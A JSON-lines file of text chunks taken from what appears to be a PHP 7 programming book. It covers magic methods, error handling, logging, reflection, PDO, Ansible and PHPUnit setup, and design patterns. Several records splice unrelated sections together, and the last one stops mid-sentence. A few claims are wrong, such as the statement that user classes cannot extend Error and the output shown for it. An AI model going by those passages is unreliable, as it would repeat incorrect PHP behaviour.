    {"text": "Choosing the right hosting plan Choosing the right hosting plan Choosing the right hosting plan for our next project can be a tedious challenge. There are many types of solutions to choose from, some of which include the following: Shared server Virtual private server Dedicated server PaaS They all have their pros and cons . Whereas once decision factors were dominated by features such as memory , CPU, bandwidth, and disk storage, those became ever cheaper over the years. Nowadays, auto-scaling and ease of deployment emerged as an equally important metrics. While ultimately the pricing plays a crucial role, great deal of modern hosting solutions have a lot to offer for an affordable price. Zend Z-Ray Zend Z-Ray The Rougue Wave Software company offers a commercial PHP server called Zend Server. One of Zend Server's outstanding features is its Z-Ray extension. Seemingly analogous to Xdebug’s tracing and profiling functionality, Z-Ray offers comprehensive information capturing and an improved user experience. Captured information ranges from execution times, errors and warnings, database queries, and function calls to request information. These are provided in a form that resembles a built-in browser’s developer tools, making it easy for the developer to retrieve a vital piece of profiling information within seconds. The Z-Ray extension itself is free, and can be used independently off the commercially available Zend Server. We can install it just like any other PHP extension. Although, at the time of writing, the stand-alone Z-Ray extension is available only for the PHP 5.5 and 5.6 versions, which are now considered outdated. Using __set_state() Using __set_state() The __set_state() magic method is triggered (not really) for classes exported by the var_export() function. The method accepts a single array type parameter and returns an object, as per the following synopsis: static object __set_state(array $properties) The var_export() function outputs or returns a parsable string representation of a given variable. It is somewhat similar to the var_dump() function, except that the returned representation is a valid PHP <?php class User { public $name = 'John'; public $age = 34; private $salary = 4200.00; protected $identifier = 'ABC'; } $user = new User(); var_export($user); // outputs string \"User::__set_state...\" var_export($user, true); // returns string \"User::__set_state...\" This results in the following output: User::__set_state(array( 'name' => 'John', 'age' => 34, 'salary' => 4200.0, 'identifier' => 'ABC', )) string(113) \"User::__set_state(array( 'name' => 'John', 'age' => 34, 'salary' => 4200.0, 'identifier' => 'ABC', ))\" Using the var_export() function does not actually trigger the __set_state() method of our User class. It merely yields a string representation of the User::__set_state(array(...)) expression that we can either log, output, or pass through the eval() language construct for execution. The following piece of code is a more robust example demonstrating the use of eval() : <?php class User { public $name = 'John'; public $age = 34; private $salary = 4200.00; protected $identifier = 'ABC'; public static function __set_state($properties) { $user = new User(); $user->name = $properties['name']; $user->age = $properties['age']; $user->salary = $properties['salary']; $user->identifier = $properties['identifier']; return $user; } } $user = new User(); $user->name = 'Mariya'; $user->age = 32; eval('$obj = ' . var_export($user, true) . ';'); var_dump($obj); This results in the following output: object(User)#2 (4) { [\"name\"]=> string(6) \"Mariya\" [\"age\"]=> int(32) [\"salary\":\"User\":private]=> float(4200) [\"identifier\":protected]=> string(3) \"ABC\" } Knowing how the eval() language construct is very dangerous as it allows execution of arbitrary PHP code, its use is discouraged. Therefore, the use of __set_state() itself becomes questionable for anything other than debugging purposes."},
    {"text": "About the Reviewers About the Reviewers Martin Beaudry started his programming career 7 years ago by creating a software in C after going through the K&R book. He then switched to PHP to work as a web developer, becoming a Zend Certified PHP Engineer and Zend Certified Architect along the way. Before learning computer languages, he worked with human ones as a professional translator and editor. Martin works in his own start-up and is one of Linux for PHP's contributors. I want to thank my friend, Andrew Caya, for teaching me everything I needed to know to review this book. Andrew Caya discovered his passion for computers at the age of 11 and started programming in GW-BASIC and QBASIC in the early 90s. He earned a master’s degree in Information Science and master's short program in public administration. After doing some software development in C, C++, and Perl, and some Linux system administration, he became a PHP developer more than 7 years ago. He is also a Zend Certified PHP Engineer and a Zend Certified Architect. He is the creator of Linux for PHP, a lightweight, Docker-based, custom Linux project that allows PHP developers to easily compile and use recent versions of PHP in a variety of ways. He is also the lead developer of a popular Joomla! extension and has the great pleasure of contributing code to many open source projects. He is currently a professional contract programmer in Montreal, Canada, a technical reviewer for Packt, and a loving husband and father. Alexandru-Emil Lupu has about 10 years experience in the Web Development area. During this time, he got a lot of skills from the implementation of e-commerce platforms and presentation sites' code writing to online games. He is one of the developers who are constantly learning new programming languages, and he has no problem in understanding Ruby, PHP, Python, JavaScript, and Java code. Alexandru is very passionate about programming and computer science. When he was young, he did not own a computer or an Internet connection (hard to believe, but true). He would go to an Internet cafe in order to read about his programming problems and would then struggle to implement them at home. He fondly remembers those days and hopes he's the same guy from 10 years ago with much more experience. For him, passion is the word that describes the challenge he faced while learning. He says it was not easy to be a youngster and one who was willing to learn new stuff. Coming home at 2-3 A.M., determined to install Linux just to learn about it, was not as easy as it sounds. He had a Pentium I at 133 MHz in the Pentium IV in the 1800 MHz era! He is constantly learning and likes to stay close to well-trained and passionate people who better motivate him every day. This is the reason he joined the eJobs team to face a challenge. He likes teams who work intelligently and are energetic. Alexandru is a Certified Scrum Master and is passionate about Agile Development. His experience also includes 3 years as a Ruby on Rails developer and CTO at 2Performant Network (2Parale), 4 years at eRepublik.com, an online game, during which he was responsible for a long list of tasks, including feature development, performance optimization, and he was also the tech lead for an internal project. He has learned the hard way the necessary skills to fulfill his day-to-day tasks at 2Performant.com and gained all the experience he needed to face new kind of challenges at eJobs.ro. In his little free time, he also develops small personal projects. If he still has spare time, he reads some technical or project management books or articles. When he is relaxing, he watches thriller movies and also likes playing shooter or strategy games. He doesn't talk too much, but he is willing to teach programming to others. If you meet him over a coffee, prepare yourself to be entertained--he likes to tell a lot of contextual jokes. You can interact with him at http://github.com/alecslupu . Mario Magdic is a full-stack software developer originally from Croatia and currently residing in Dublin, Ireland, where he moved 2 years ago to work for a FinTech company. He was first introduced to the wonderful world of software development in a high school programming class and decided to make it his career. During his career, he has had an opportunity to work with various technologies and programming languages and is always happy to improve and learn new things."},
    {"text": "Throwables Throwables The exceptions in PHP are not a new concept. They have been around ever since PHP 5 was released. However, they did not encompass all of PHP's error handling because errors were not considered to be exceptions. PHP, at the time, had two-error handling systems. This made it tricky to deal with, as traditional errors were not catchable via the try...catch blocks exceptions. Certain tricks were possible, where one could have used the set_error_handler() function in order to set a user-defined error handler function, basically listening for errors and turning them into exceptions. Let's look at the following example: <?php class Mailer { private $transport ; public function __construct(Transport $transport ) { $this -> transport = $transport ; } } $transport = new stdClass(); try { $mailer = new Mailer( $transport ); } catch (\\ Exception $e ) { echo 'Caught!' ; } finally { echo 'Cleanup!' ; } PHP 5 would not be able to catch this, and instead throws Catchable fatal error , as shown here: Catchable fatal error: Argument 1 passed to Mailer::__construct() must be an instance of Transport, instance of stdClass given, called in /index.php on line 18 and defined in /index.php on line 6. By adding the implementation of set_error_handler() before this code, as follows, we could turn that fatal error into an exception: set_error_handler(function ($errno, $errstr) { throw new \\Exception($errstr, $errno); }); With the preceding code in place, the try...catch...finally blocks would now kick in as intended. However, there were error types that could not be caught with set_error_handler , such as E_ERROR , E_PARSE , E_CORE_ERROR , E_CORE_WARNING , E_COMPILE_ERROR , E_COMPILE_WARNING , and most of E_STRICT raised in the file where set_error_handler is called. The PHP 7 release improved the overall error handling system by introducing the Throwable interface, and moving the errors and exceptions under its umbrella. It is now the base interface for any object that can be thrown via a throw statement. While we cannot extend it directly, we can extend the \\Exception and \\Error classes. While \\Exception is the base class for all PHP and user exceptions, \\Error is the base class for all internal PHP errors. We could now easily rewrite our preceding try...catch...finally block into one of the following: <?php // Case 1 try { $mailer = new Mailer( $transport ); } catch (\\Throwable $e ) { echo 'Caught!' ; } finally { echo 'Cleanup!' ; } // Case 2 try { $mailer = new Mailer( $transport ); } catch (\\Error $e ) { echo 'Caught!' ; } finally { echo 'Cleanup!' ; } Notice the use of \\Throwable in the first example catch block. Even though we cannot extend it, we can use it as a shorthand for catching both \\Error and \\Exception in a single catch statement. Implementation of \\Throwable brings a much needed alignment between errors and exceptions, making them easier to reason with."},
    {"text": "Error handling Error handling Having errors and exceptions as two different error handling system introduces a certain level of confusion among developers. The older versions of PHP made it difficult to reason with E_ERROR as they could not be caught with custom error handlers. The PHP 7 version tried to address this confusion by introducing the Throwable interface, which is summarized as follows: Throwable { abstract public string getMessage (void) abstract public int getCode (void) abstract public string getFile (void) abstract public int getLine (void) abstract public array getTrace (void) abstract public string getTraceAsString (void) abstract public Throwable getPrevious (void) abstract public string __toString (void) } The Throwable interface is now the base interface for Error , Exception , and any other object that can be thrown via a throw statement. The methods defined in this interface are nearly identical to those of Exception . The PHP classes themselves cannot implement the Throwable interface directly or extend from Error ; they can only extend Exception , as shown in the following example: <?php class Glitch extends \\Error { } try { throw new Glitch('Glitch!'); } catch (\\Exception $e) { echo 'Caught ' . $e->getMessage(); } The preceding code will result in the following output: PHP Fatal error: Uncaught Glitch: Glitch! in index.php:7 Stack trace: #0 {main} thrown in /root/app/index.php on line 7 What's happening here is that the Glitch class is trying to extend the Error class, which is not allowed and results in a Fatal error that does not get caught by our try...catch block here: <?php class Flaw extends \\Exception { } try { throw new Flaw('Flaw!'); } catch (\\Exception $e) { echo 'Caught ' . $e->getMessage(); } The preceding example is a valid use of PHP Throwable , whereas, our custom Flaw class extends the Exception class. The catch block is triggered, resulting in the following output message: Caught Flaw! The new exception hierarchy in PHP 7 is as follows: interface Throwable | Error implements Throwable | TypeError extends Error | ParseError extends Error | ArithmeticError extends Error | DivisionByZeroError extends ArithmeticError | AssertionError extends Error | Exception implements Throwable | ... The obvious benefit of the new Throwable interface is that we can now easily catch both Exception and Error objects in a single try...catch block, as per the following example: <?php try { throw new ArithmeticError('Missing numbers!'); } catch (Throwable $t) { echo $t->getMessage(); } AssertionError extends Error , which in turn implements the Throwable interface. The signature of the preceding catch block targets the Throwable interface, so the thrown ArithmeticError would be caught and the output of Missing numbers! shown. Though our classes cannot implement the Throwable interface, we can define the interface that extends it. Such an interface can then only be implemented by a class extending either Exception or Error , as per the following example: <?php interface MyThrowable extends Throwable { //... } class MyException extends Exception implements MyThrowable { //... } throw new MyException(); While it might not be a common practice, such an approach might be useful with package-specific interfaces."},
    {"text": "Native logging Native logging PHP has a built-in error_log() function that sends an error message to the defined error handling routines; thus, providing an out-of-the-box solution for simple logging. The following code snippet describes the error_log() function definition: bool error_log ( string $message [, int $message_type = 0 [, string $destination [, string $extra_headers ] ]] ) The parameters are defined as follows: $message : This is a string type value, and a message we want to log $message_type : This is an integer type value; it has one of four possible values, which are as follows: 0 : This is an operating system logging mechanism 1 : This is sent by e-mail to the address in the destination parameter 2 : This is no longer an option 3 : This message is appended to the file destination 4 : This is sent directly to the SAPI logging handler $destination : This string type value kicks in only for $message_type = 1 and denotes an e-mail address $extra_headers : This string type value kicks in only for $message_type = 1 and denotes e-mail headers The error_log() function works closely with the log_errors and error_log configuration options defined in php.ini : log_errors : This is a boolean type configuration option. It tells if error messages should be logged to the server error log or error_log . To log to a file specified with the error_log configuration option, set this to 1 . error_log : This is a string type configuration option. It specifies the name of the file where errors should be logged. If syslog is used, errors are logged to the system logger. If no value is set, errors are sent to the SAPI error logger, which is most likely an error log in Apache or stderr in CLI. The following example demonstrates logging to a file: <?php ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/app-error.log'); error_log('Test!'); The log_errors and error_log options might be defined in the .php file itself; however, it is recommended to do so in php.ini , otherwise, logging won't log any errors if the script has parse errors or cannot be run at all. The resulting output of the preceding example would be an app-error.log file, located in the same directory as the executing script itself with the following content: [26-Dec-2016 08:11:32 UTC] Test! [26-Dec-2016 08:11:39 UTC] Test! [26-Dec-2016 08:11:42 UTC] Test! The following example demonstrates logging to an e-mail: <?php ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/app-error.log'); $headers = \"From: john@server.loc\\r\\n\"; $headers .= \"Subject: My PHP email logger\\r\\n\"; $headers .= \"MIME-Version: 1.0\\r\\n\"; $headers .= \"Content-Type: text/html; charset=ISO-8859-1\\r\\n\"; error_log('<html><h2>Test!</h2></html>', 1, 'john@mail.com', $headers); Here, we are first building the raw $headers string, which we then pass to the error_log() function, along with the destination e-mail address. This is an obvious downside of the error_log() function, as we are required to be familiar with e-mail message headers standards. The error_log() function is not binary-safe, which means the $message argument should not contain a null character, otherwise, it will be truncated. To bypass this limitation, we can use one of the conversion/escape functions, such as base64_encode() , rawurlencode() , or addslashes() before calling error_log() . The following RFCs might be useful for dealing with e-mail message headers: RFC 1896, RFC 2045, RFC 2046, RFC 2047, RFC 2048, RFC 2049, and RFC 2822. Understanding the error_log() function, we can easily wrap it into a custom function of ours, let's say app_error_log() , thus abstracting the entire e-mails' boilerplate, such as the address and headers. We can also make our app_error_log() function log into file and e-mail at once, thus making for a simple, one-line logging expression such as the following, possibly across our application: try { //... } catch (\\Exception $e) { app_error_log($e); } Writing simple loggers such as these is quite easy. However, simplicity in development usually comes with the cost of reduced modularity. Luckily, there are third-party libraries out there that are quite robust when it comes to logging features. Best of all, they comply to a certain logging standard, as we will see in the next section. Summary Summary Throughout this section, we touched upon three unique types of process we contribute to overall application testing. Distinctively labeled as debugging, tracing, and profiling, these processes provide a unique and remarkably informative perspective on our application inner bits. While tracing and profiling gather application performance and path-of-execution data for us in a sort of hands-free mode, debugging allows for a unique experience of tapping into a specific bit of code. Whether we are a seasonal or a full-time software developer, debugging, tracing, and profiling are absolutely essential skills to master. Without them, resolving the really nasty bugs or writing performance-optimized applications becomes a whole new challenge. Moving forward, we will take a closer look at the landscape and available choices around PHP application hosting, provisioning, and deployment. Base patterns Base patterns In the coming section, we will take a look at the base pattern: the registry pattern. Setting up sample data Setting up sample data Running the redis-cli command on the Ubuntu terminal gets us into the Redis interactive shell. From here on, with a simple few commands, we can add the following sample data: SET Key1 10 SET Key2 20 SET Key3 30 SET Key4 40 SET Key5 50 This should give us the following output: Using the KEYS * command within the redis-cli shell, we are able to now list all the entries added by Redis:"},
    {"text": "Reflection Reflection Reflection is a highly important concept every developer should be wary about. It denotes the ability of a program to inspect itself during runtime, thus allowing eas y reverse-engineering of classes, interfa ces, functions, methods, and extensions. We can get a quick taste of the PHP reflection capabilities right from the console. The PHP CLI supports several reflection-based commands: --rf < function name > : This shows information about a function --rc < class name > : This shows information about a class --re < extension name > : This shows information about an extension --rz < extension name > : This shows information about the Zend extension --ri < extension name > : This shows the configuration for an extension The following output demonstrates the result of the php --rf str_replace command: Function [ <internal:standard> function str_replace ] { - Parameters [4] { Parameter #0 [ <required> $search ] Parameter #1 [ <required> $replace ] Parameter #2 [ <required> $subject ] Parameter #3 [ <optional> &$replace_count ] } } The output reflects on the str_replace() function, which is a standard PHP function. It clearly describes the total number of parameters, along with their name and required or optional assignment. The real power of reflection, the one developers get to utilize, comes from the reflection API. Let's take a look at the following example: <?php class User { public $name = 'John'; protected $ssn = 'AAA-GG-SSSS'; private $salary = 4200.00; } $user = new User(); echo $user->name = 'Marc'; // Marc //echo $user->ssn = 'BBB-GG-SSSS'; // Uncaught Error: Cannot access protected property User::$ssn //echo $user->salary = 5600.00; // Uncaught Error: Cannot access private property User::$salary var_dump($user); //object(User)[1] // public 'name' => string 'Marc' (length=4) // protected 'ssn' => string 'AAA-GG-SSSS' (length=11) // private 'salary' => float 4200 We started off by defining a User class with three properties, each of a different visibility. We then instantiated an object of the User class and tried changing the value of all three properties. Normally, members that are defined as protected or private cannot be accessed outside of an object. Trying to access them either in read or write mode would throw a Cannot access... error. This is what we would consider a normal behavior. Using the PHP reflection API, we can circumvent this normal behavior, making it possible to access private and protected members. The reflection API itself provides several classes for us to use: Reflection ReflectionClass ReflectionZendExtension ReflectionExtension ReflectionFunction ReflectionFunctionAbstract ReflectionMethod ReflectionObject ReflectionParameter ReflectionProperty ReflectionType ReflectionGenerator Reflector (interface) ReflectionException (exception) Each of these classes expose a diverse set of functionality, allowing us to tinker with internals of other classes, interfaces, functions, methods, and extensions. Assuming our goal is to change the values of protected and private properties from the previous example, we could use ReflectionClass and ReflectionProperty , as per the following example: <?php // ... $user = new User(); $reflector = new ReflectionClass('User'); foreach ($reflector->getProperties() as $prop) { $prop->setAccessible(true); if ($prop->getName() == 'name') $prop->setValue($user, 'Alice'); if ($prop->getName() == 'ssn') $prop->setValue($user, 'CCC-GG-SSSS'); if ($prop->getName() == 'salary') $prop->setValue($user, 2600.00); } var_dump($user); //object(User)[1] // public 'name' => string 'Alice' (length=5) // protected 'ssn' => string 'CCC-GG-SSSS' (length=11) // private 'salary' => float 2600 We started off by instantiating an object of a User class, as we did in the previous example. We then created an instance of ReflectionClass , passing its constructor the name of the User class. The newly created $reflector instance allows us to fetch a list of all User class properties through its getProperties() method. Looping through properties, one by one, we kick off the real magic of reflection API. Each property ( $prop ) is an instance of the ReflectionProperty class. Two of the ReflectionProperty methods, setAccessible() and setValue() , provide just the right functionality for us to reach our goal. Using these methods, we are able to set the value of otherwise inaccessible object properties. Another simple, yet interesting reflection example is that of doc comment extraction: <?php class Calc { /** * @param $x The number x * @param $y The number y * @return mixed The number z */ public function sum($x, $y) { return $x + $y; } } $calc = new Calc(); $reflector = new ReflectionClass('Calc'); $comment = $reflector->getMethod('sum')->getDocComment(); echo $comment; With merely two lines of code, we were able to reflect upon a Calc class and extract the doc comment from its sum() method. While the practical use of the reflection API might not be obvious at first, it is capabilities such as these that empower us with building powerful and dynamic libraries and platforms. The phpDocumentor tool uses the PHP reflection features to automatically generate documentation from the source code. The popular Magento v2.x eCommerce platform extensively uses the PHP reflection features to automatically instantiate objects that are type-hinted as __construct() arguments."},
    {"text": "Exception Exception Exceptions were originally introduced in PHP 5, which brought forth the OOP model as well. They remain pretty much unchanged throughout the time. Among significant changes was the one added by PHP 5.5, which added the finally block, and PHP 7, which added the possibility to use the | operator in order to catch multiple exception types via a single catch block. Exception is the base class for all user exceptions in PHP 7. Same as Error , Exception implements the Throwable interface, as per the following class synopsis: Exception implements Throwable { /* Properties */ protected string $message ; protected int $code ; protected string $file ; protected int $line ; /* Methods */ public __construct ( [ string $message = \"\" [, int $code = 0 [, Throwable $previous = NULL ]]] ) final public string getMessage (void) final public Throwable getPrevious (void) final public mixed getCode (void) final public string getFile (void) final public int getLine (void) final public array getTrace (void) final public string getTraceAsString (void) public string __toString (void) final private void __clone (void) } Exceptions remain the backbone of OO error handling. The simplicity of extending, throwing, and catching exceptions makes them easy to work with. Similarities with event-driven programming Similarities with event-driven programming Wikipedia defines reactive programming as follows: \"A programming paradigm oriented around data flows and the propagation of change.\" The very first thought of this may imply some similarities to a well-known event-driven programming. The data flows and the propagation of change sound a bit like something we may implement via the \\SplSubject , \\SplObjectStorage , and \\SplObserver interfaces in PHP, as per the following trivial example. The \\SplObjectStorage interface further encapsulates the \\Countable , \\Iterator , \\Traversable , \\Serializable , and \\ArrayAccess interfaces: <?php class UserRegister implements \\SplSubject { protected $user ; protected $observers ; public function __construct( $user ) { $this -> user = $user ; $this -> observers = new \\SplObjectStorage(); } public function attach(\\SplObserver $observer ) { $this -> observers ->attach( $observer ); } public function detach(\\SplObserver $observer ) { $this -> observers ->detach( $observer ); } public function notify() { foreach ( $this -> observers as $observer ) { $observer ->update( $this ); } } public function getUser() { return $this -> user ; } } class Mailer implements \\SplObserver { public function update(\\SplSubject $subject ) { if ( $subject instanceof UserRegister) { echo 'Mailing ' , $subject ->getUser(), PHP_EOL ; } } } class Logger implements \\SplObserver { public function update(\\SplSubject $subject ) { if ( $subject instanceof UserRegister) { echo 'Logging ' , $subject ->getUser(), PHP_EOL ; } } } $userRegister = new UserRegister( 'John' ); // some code... $userRegister ->attach( new Mailer()); // some code... $userRegister ->attach( new Logger()); // some code... $userRegister ->notify(); We may say that data flows translate to a sequence of updates coming from the $userRegister instance's notify() method, the propagation of change translates to triggering the update() method of the mailer and logger instances, and the \\SplObjectStorage method plays an important role This is just a trivial and superficial interpretation of the reactive programming paradigm in the context of the PHP code. Furthermore, there is no asynchronicity here at the moment. The PHP runtime and standard library effectively offer all that is needed to write asynchronous code. Throwing in a reactivity in the mix, is merely a matter of choosing the right library. While the choice of PHP libraries for reactive programming isn't nearly as rich as those of the JavaScript ecosystem, there are a few noteworthy ones, such as RxPHP and React . phpspec phpspec Like Behat, phpspec is an open source and free testing framework based on the notion of BDD. However, its approach to testing is quite different than that of Behat; we may even say it sits somewhere in the middle of PHPUnit and Behat. Unlike Behat, phpspec does not use the Gherkin format stories to describe its tests. Doing so, phpspec shifts its focus on internal, rather than external application behavior. Much like PHPUnit, phpspec allows us to instantiate objects, call its methods, and perform various assertions on the results. The part where it differs is in its \"think of specification\", and not of \"think of test\" approach."},
    {"text": "www.PacktPub.com www.PacktPub.com For support files and downloads related to your book, please visit www.PacktPub.com . Did you know that Packt offers eBook versions of every book published, with PDF and ePub files available? You can upgrade to the eBook version at www.PacktPub.com and as a print book customer, you are entitled to a discount on the eBook copy. Get in touch with us at service@packtpub.com for more details. At www.PacktPub.com , you can also read a collection of free technical articles, sign up for a range of free newsletters and receive exclusive discounts and offers on Packt books and eBooks. https://www.packtpub.com/mapt Get the most in-demand software skills with Mapt. Mapt gives you full access to all Packt books and video courses, as well as industry-leading tools to help you plan your personal development and advance your career. Using __call() Using __call() Overloading is a familiar term in OOP. However, not all programming languages interpret it in the same way. The PHP notion of overloading is quite different than that of other OO languages. Where traditionally overloading provides the ability to have multiple methods with the same name but different arguments, in PHP overloading means to dynamically create methods and properties. unfortunate misuse of the term overloading adds a layer of confusion for some developers, as the more proper term for this type of functionality might have been interpreter hooks . There are two magic methods in PHP supporting method overloading: __call() and __callStatic() . Throughout this section, we will take a closer look at the __call() method. The __call() magic method is triggered when invoking inaccessible methods in an object context . This method accepts two parameters, as per the following synopsis: public mixed __call(string $name, array $arguments) However the __call() method parameters have the following meaning: $name : This is the name of the method being called $arguments : This is an enumerated array containing the parameters passed to the $name method The following example demonstrates the use of the __call() method in the object context: <?php class User { public function __call($name, $arguments) { echo $name . ': ' . implode(', ', $arguments) . PHP_EOL; } public function bonus($amount) { echo 'bonus: ' . $amount . PHP_EOL; } } $user = new User(); $user->hello('John', 34); $user->bonus(560.00); $user->salary(4200.00); The User class itself declared only the __call() and bonus() methods. The $user object tries to call the hello() , bonus() , and salary() methods. This effectively means the object is trying to call two missing methods: hello() and salary() . The __call() method kicks in for the missing two methods, thus yielding the following output: __call => hello: John, 34 bonus: 560 __call => salary: 4200 We can find a nice use case example of the __call() method in the Magento platform, as per the following entry taken from the vendor/magento/framework/DataObject.php class file: public function __call($method, $args) { switch (substr($method, 0, 3)) { case 'get': $key = $this->_underscore(substr($method, 3)); $index = isset($args[0]) ? $args[0] : null; return $this->getData($key, $index); case 'set': $key = $this->_underscore(substr($method, 3)); $value = isset($args[0]) ? $args[0] : null; return $this->setData($key, $value); case 'uns': $key = $this->_underscore(substr($method, 3)); return $this->unsetData($key); case 'has': $key = $this->_underscore(substr($method, 3)); return isset($this->_data[$key]); } // ... } Without getting into the details of Magneto itself, it's suffice to say that their DataObject class serves as a root data object throughout the entire framework. The code within the __call() method enables it to magically get , set , unset , and check for the existence of the property on the object instance. This is used later in expressions, such as the following entry taken from the vendor/magento/module-checkout/Controller/Cart/Configure.php file: $params = new \\Magento\\Framework\\DataObject(); $params->setCategoryId(false); $params->setConfigureMode(true); $params->setBuyRequest($quoteItem->getBuyRequest()); The benefit is that we have easily empowered instances of DataObject here with magical methods that might and might not exist. For example, setCategoryId() is a method that does not exist on the DataObject class. Since it does not exist, calling it triggers the __call() method. This might not be that obvious at first, so let's consider another imaginary example where our custom class extends from DataObject : <?php class User extends \\Magento\\Framework\\DataObject { } $user = new User(); $user->setName('John'); $user->setAge(34); $user->setSalary(4200.00); echo $user->getName(); echo $user->getAge(); echo $user->getSalary(); Notice the beauty and simplicity of setters and getters we have achieved here with the help of the __call() magic method. Even though our User class is basically empty, we have inherited the magic behind the parent's __call() implementation. The __call() method empowers us with some truly interesting possibilities, most of which will fit right in as a part of frameworks or libraries. Connecting Connecting Using the PDO driver extension, we can connect to a MySQL database from PHP using the PDO class, as follows: <?php $host = '127.0.0.1' ; $dbname = 'sakila' ; $username = 'root' ; $password = 'mL08e!Tq' ; $conn = new PDO( \"mysql:host= $host ;dbname= $dbname \" , $username , $password ); This simple multiline expression will look for MySQL on the 127.0.0.1 host and try to connect to its sakila database using the root username and mL08e!Tq password."},
    {"text": "Group use declarations Group use declarations PHP introduced namespaces as part of the 5.3 release. It provided a way to group related classes, interfaces, functions, and constants, thus making our code base more organized and readable. However, dealing with modern libraries usually involves a lot of verbosity in terms of numerous use statements used to import classes from various namespaces, as shown in the following example: use Magento\\Backend\\Block\\Widget\\Grid; use Magento\\Backend\\Block\\Widget\\Grid\\Column; use Magento\\Backend\\Block\\Widget\\Grid\\Extended; To address this verbosity, the PHP 7 release introduced the group use declarations, allowing the following syntax: use Magento\\Backend\\Block\\Widget\\Grid; use Magento\\Backend\\Block\\Widget\\Grid\\{ Column, Extended }; Here, we condensed Column and Extend under a single declaration. We can further condense this using the following compound namespaces: use Magento\\Backend\\Block\\Widget\\{ Grid Grid\\Column, Grid\\Extended }; The group use declarations act as a shorthand to condense use declarations, making it slightly easier to import classes, constants, and functions in a concise way. While their benefits seem somewhat marginal, their use is completely optional."},
    {"text": "Summary Summary Throughout this chapter, we took an introductory hands-on approach with some of the most common design patterns used in PHP applications. The list is far from final, as there are other design patterns available. While some design patterns are quite general, others might be more suitable for GUIs or other areas of application programming. Understanding how to use and apply design patterns makes our code more extensible, reusable, maintainable, and adaptable. Moving forward, we will take a closer look at building web services using SOAP, REST, and Apache Thrift. Configuring Ansible Configuring Ansible Back on our workstation machine, let's go ahead and create a project directory: mkdir mphp7 cd mphp7/ Now, let's go ahead and create an ansible.cfg file with its content as follows: [defaults] hostfile = hosts Next, let's go ahead and create the hosts file with its content as follows: [mphp7] 45.76.88.214 ansible_ssh_user=root In the preceding lines of code, 45.76.88.214 is the IP address of our server machine. We should now be able to run the ansible tool as follows: ansible mphp7 -m ping Ideally, this should give us the following output: The ansible tool might throw a MODULE FAILURE message in the case of a missing Python installation on our server machine: If this happens, we should SSH into our server machine and install Python as follows: sudo apt-get -y install python At this point, our workstation ansible tool should be set to have clear communication with our server machine. Now, let's go ahead and do a quick lookup for the LAMP server role on the Galaxy hub: Clicking on one of the results gives us information on how to install it: By running the following command on the workstation, we install the existing fvarovillodres.lamp role: ansible-galaxy install fvarovillodres.lamp Querying via the phpredis driver extension Querying via the phpredis driver extension Before we start querying, we need to ensure that we have the PHP CLI and phpredis driver extension installed: sudo apt-get -y install php7.0-dev sudo apt-get -y install unzip wget https://github.com/phpredis/phpredis/archive/php7.zip -O phpredis.zip unzip phpredis.zip cd phpredis-php7/ phpize ./configure make sudo make install echo extension=redis.so >> /etc/php/7.0/cli/php.ini Upon successful execution of these commands, we can confirm that the phpredis driver extension is installed as follows: Setting up the PHPUnit Setting up the PHPUnit PHPUnit can be installed as, provisionally named, a tool or a library. Both are the same things actually, just differing in a way we install and use them. The tool version is really just a PHP phar archive we can run via console, which then provides a set of console commands we can execute globally. The library version on the other hand is a set of PHPUnit libraries packed as a Composer package, as well as a binary that gets dumped into the project's vendor/bin/ directory. Assuming that we are using the Ubuntu 16.10 (Yakkety Yak) installation, installing the PHPUnit as a tool is easy via the following commands: wget https://phar.phpunit.de/phpunit.phar chmod +x phpunit.phar sudo mv phpunit.phar /usr/local/bin/phpunit phpunit --version This should give us the final output, much like the following screenshot: The PHPUnit becomes a system-wide accessible console tool, not related to any project specifically. Installing PHPUnit as a library is easy as running the following console command within the root of our project: composer require phpunit/phpunit This should give us the final output, much like the following screenshot: This installs all the PHPUnit library files within our project's vendor/phpunit/ directory, as well as the phpunit executable file under the vendor/bin/ directory. The builder pattern The builder pattern The builder pattern is quite a handy one, especially when it comes to large applications. It separates the construction of a complex object from its representation. This makes it possible for the same construction process to create numerous representations. The following example demonstrates a possi ble builder pattern implementation using the Image class as an example: <?php class Image { private $width ; private $height ; public function getWidth() { return $this -> width ; } public function setWidth( $width ) { $this -> width = $width ; return $this ; } public function getHeight() { return $this -> height ; } public function setHeight( $height ) { $this -> height = $height ; return $this ; } } interface ImageBuilderInterface { public function setWidth( $width ); public function setHeight( $height ); public function getResult(); } class ImageBuilder implements ImageBuilderInterface { private $image ; public function __construct() { $this -> image = new Image(); } public function setWidth( $width ) { $this -> image ->setWidth( $width ); return $this ; } public function setHeight( $height ) { $this -> image ->setHeight( $height ); return $this ; } public function getResult() { return $this -> image ; } } class ImageBuildDirector { private $builder ; public function __construct(ImageBuilder $builder ) { $this -> builder = $builder ; } public function build() { $this -> builder ->setWidth( 120 ); $this -> builder ->setHeight( 80 ); return $this ; } public function getImage() { return $this -> builder ->getResult(); } } // Client use $imageBuilder = new ImageBuilder(); $imageBuildDirector = new ImageBuildDirector( $imageBuilder ); $image = $imageBuildDirector ->build()->getImage(); var_dump ( $image ); // object(Image)#2 (2) { [\"width\":\"Image\":private]=> int(120) [\"height\":\"Image\":private]=> int(80) } We started off with a simple Image class that provides width and height properties and corresponding getters and setters. W e then created the ImageBuilderInterface interface, which defines the image width and heigh t setter meth ods, along with the getResult() method. We then created an ImageBuilder concrete class that implements the ImageBuilderInterface interface. The client instantiates the ImageBuilder class. Another concrete class, ImageBuildDirector , wraps the creation or builder code within its build() method by working with the instance of ImageBuilder passed through its constructor."},
    {"text": "Summary Summary Throughout this chapter, we took a detailed look through the PHP error handling mechanism. PHP 7 made quite a cleanup of its error handling model by wrapping most of it under the Throwable interface. This makes it possible to catch core errors via try...catch blocks that were, prior to PHP 7, reserved for Exception only. This leaves a bit of a terminology fuzz to digest now, as we come across Throwable , Error , Exception , system-errors, user-errors, notices, warnings and alike. Speaking high level, we might say that any faulty state is error. More specifically, we now have throwables on one side and errors on the other. Throwables encompass thrown and catchable instances of Error and Exception , whereas, errors encompass basically anything not catchable as Throwable . Handling faulty states would not really be complete without proper logging. While the built-in error_log() function provides enough to get us started, more robust solutions are available in the form of various third-party libraries. The Monolog library is among the most popular ones and is used across dozens of community projects. Moving forward, we will look into the magic methods and the enormous power they bring to the PHP language. Process control Process control Building CLI applications quite often implies working with the system processes. PHP provides a powerful process control extension called PCNTL . The extension allows us to handle process creation, program execution, signal handling, and process termination. It only works on Unix-like machines, where PHP is compiled with the --enable-pcntl configuration 